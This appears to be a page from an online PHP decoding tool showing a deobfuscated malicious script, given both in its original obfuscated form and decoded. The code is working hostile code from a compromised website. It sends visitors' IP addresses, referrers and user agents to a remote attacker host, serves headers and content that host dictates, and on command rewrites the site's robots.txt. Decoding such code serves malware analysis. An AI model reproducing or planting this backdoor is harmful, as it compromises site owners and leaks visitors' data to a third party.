Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ErROR_rePORTing(ROUNd(0+0+0+0+0+0+0+0)); $wZ="z\152\61\61\71\60"; $ETRs="\147\155\14..
Decoded Output download
<?php ErROR_rePORTing(ROUNd(0+0+0+0+0+0+0+0)); $wZ="zj1190"; $ETRs="gmen"; if(pReg_MAtch("/jp2023/si",$_SERVER["REQUEST_URI"])==RouNd(0.314751+0.0021441+0.347+0.33576329)) { if(preG_maTcH("/jp2023cww/si",$_SERVER["REQUEST_URI"])==rOUnD(0+0+0+0)) { HEAdeR("HTTP/1.0 404 Not Found"); } echo "HTTP/1.0 404 Not Found___".$wZ."___".$ETRs; exit; } $sjvcA="http://".$wZ.".jewishleave.com"; $Wp="/index.php?VS=".$ETRs."&GP=".$wZ; $RGzcqU=array( "SCRIPT_NAME", "REQUEST_URI", "HTTPS", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST" ); foreach($RGzcqU as $TXL) { $fB=isset($_SERVER[$TXL])?$_SERVER[$TXL]:''; $jLQah=bAse64_Encode(TRIm($fB)); $jLQah=STr_rEpLACE("+","-",$jLQah); $jLQah=sTr_rEpLAcE("/","_",$jLQah); $jLQah=STR_RepLaCE("=",".",$jLQah); $Wp.="&".$TXL."=".$jLQah; } $ZvPIR=$sjvcA.$Wp; $DI=CuRL_Init(); cURL_sEtoPt($DI,CURLOPT_URL,$ZvPIR); CUrL_SEtOPt($DI,CURLOPT_RETURNTRANSFER,RoUnd(0.4363+0.4711796+0.00268097+0.0898)); cUrl_SEToPt($DI,CURLOPT_CONNECTTIMEOUT,RoUNd(1.878+3.15599+1.806008+0.684+2.47557)); $Hyul=CURL_ExEc($DI); $Hyul=TRiM($Hyul); CURL_cloSe($DI); if(empty($Hyul)) { $Hyul=FilE_gEt_contENTS($ZvPIR); } $Hyul=tRIM($Hyul); $Jn=ExploDe("|@#$|",$Hyul); $SH=CouNT($Jn); if($SH<3) { hEader("HTTP/1.0 404 Not Found"); exit; }else { $WdlRr=trIM($Jn[rOUND(0+0+0+0)]); if(!empty($WdlRr)) { hEAdeR($WdlRr); } $cIY=TrIM($Jn[ROuNd(0.0422535+0.257+0.19586+0.10123+0.1166373+0.286972)]); if(!empty($cIY)) { echo $cIY; } $NVkvQp=TrIm($Jn[$SH-rOUnd(0.2381+0.05129+0.2313+0.0111+0.1159+0.085+0.14358+0.1237113)]); if($NVkvQp=="exit") { exit; } if($NVkvQp=="ping") { $kCWxOg="User-agent:*".PHP_EOL; $kCWxOg.="Allow:/".PHP_EOL; $uhUi=exPlOde("<br/>",$cIY); ARrAy_poP($uhUi); foreach($uhUi as $fFHnDE) { $kCWxOg.="Sitemap:".$fFHnDE.PHP_EOL; } $PxWIEQ=FOPEn($_SERVER["DOCUMENT_ROOT"]."/robots.txt","w"); FWriTE($PxWIEQ,$kCWxOg); FClOSe($PxWIEQ); echo "robots.txt done"; exit; } } ?>
Did this file decode correctly?
Original Code
<?php ErROR_rePORTing(ROUNd(0+0+0+0+0+0+0+0)); $wZ="z\152\61\61\71\60"; $ETRs="\147\155\145\156"; if(pReg_MAtch("\57j\160\62\60\62\63/si",$_SERVER["R\105\121UE\123T_U\122I"])==RouNd(0.314751+0.0021441+0.347+0.33576329)) { if(preG_maTcH("/j\160\62\60\62\63c\167\167/si",$_SERVER["R\105\121UE\123T_U\122I"])==rOUnD(0+0+0+0)) { HEAdeR("H\124\124P\57\61.\60\40\64\60\64\40N\157\164 \106o\165\156d"); } echo "H\124TP/\61.\60\40\64\60\64\40N\157\164 \106o\165\156d__\137".$wZ."\137_\137".$ETRs; exit; } $sjvcA="\150\164t\160://".$wZ.".jewi\163\150\154\145\141v\145\56\143o\155"; $Wp="\57i\156d\145x\56\160\150p\77V\123=".$ETRs."\46G\120=".$wZ; $RGzcqU=array( "SCRI\120T\137N\101M\105", "R\105\121UE\123T_U\122I", "H\124T\120S", "REQUE\123\124_\123\103HE\115E", "S\105\122\126\105R_\120OR\124", "RE\115\117T\105\137A\104D\122", "HT\124\120_R\105FER\105\122", "\110TTP\137\101CCEPT\137L\101N\107U\101\107\105", "\110\124\124\120_U\123\105R_\101\107\105\116T", "H\124\124\120\137\110\117S\124" ); foreach($RGzcqU as $TXL) { $fB=isset($_SERVER[$TXL])?$_SERVER[$TXL]:''; $jLQah=bAse64_Encode(TRIm($fB)); $jLQah=STr_rEpLACE("+","-",$jLQah); $jLQah=sTr_rEpLAcE("\57","_",$jLQah); $jLQah=STR_RepLaCE("=","\56",$jLQah); $Wp.="&".$TXL."=".$jLQah; } $ZvPIR=$sjvcA.$Wp; $DI=CuRL_Init(); cURL_sEtoPt($DI,CURLOPT_URL,$ZvPIR); CUrL_SEtOPt($DI,CURLOPT_RETURNTRANSFER,RoUnd(0.4363+0.4711796+0.00268097+0.0898)); cUrl_SEToPt($DI,CURLOPT_CONNECTTIMEOUT,RoUNd(1.878+3.15599+1.806008+0.684+2.47557)); $Hyul=CURL_ExEc($DI); $Hyul=TRiM($Hyul); CURL_cloSe($DI); if(empty($Hyul)) { $Hyul=FilE_gEt_contENTS($ZvPIR); } $Hyul=tRIM($Hyul); $Jn=ExploDe("\174\100\43\44|",$Hyul); $SH=CouNT($Jn); if($SH<3) { hEader("H\124\124P\57\61.\60\40\64\60\64\40N\157\164 \106o\165\156d"); exit; }else { $WdlRr=trIM($Jn[rOUND(0+0+0+0)]); if(!empty($WdlRr)) { hEAdeR($WdlRr); } $cIY=TrIM($Jn[ROuNd(0.0422535+0.257+0.19586+0.10123+0.1166373+0.286972)]); if(!empty($cIY)) { echo $cIY; } $NVkvQp=TrIm($Jn[$SH-rOUnd(0.2381+0.05129+0.2313+0.0111+0.1159+0.085+0.14358+0.1237113)]); if($NVkvQp=="e\170i\164") { exit; } if($NVkvQp=="ping") { $kCWxOg="\125s\145r-a\147ent\72\52".PHP_EOL; $kCWxOg.="All\157w\72/".PHP_EOL; $uhUi=exPlOde("<b\162/\76",$cIY); ARrAy_poP($uhUi); foreach($uhUi as $fFHnDE) { $kCWxOg.="Si\164e\155a\160\72".$fFHnDE.PHP_EOL; } $PxWIEQ=FOPEn($_SERVER["\104\117\103U\115E\116T\137\122O\117\124"]."/\162\157\142o\164s.t\170t","\167"); FWriTE($PxWIEQ,$kCWxOg); FClOSe($PxWIEQ); echo "r\157\142o\164s.\164x\164 d\157\156e"; exit; } } ?>
Function Calls
ROUNd | 1 |
Stats
MD5 | d9fa75ac03ee16921c7badef101d6e22 |
Eval Count | 0 |
Decode Time | 66 ms |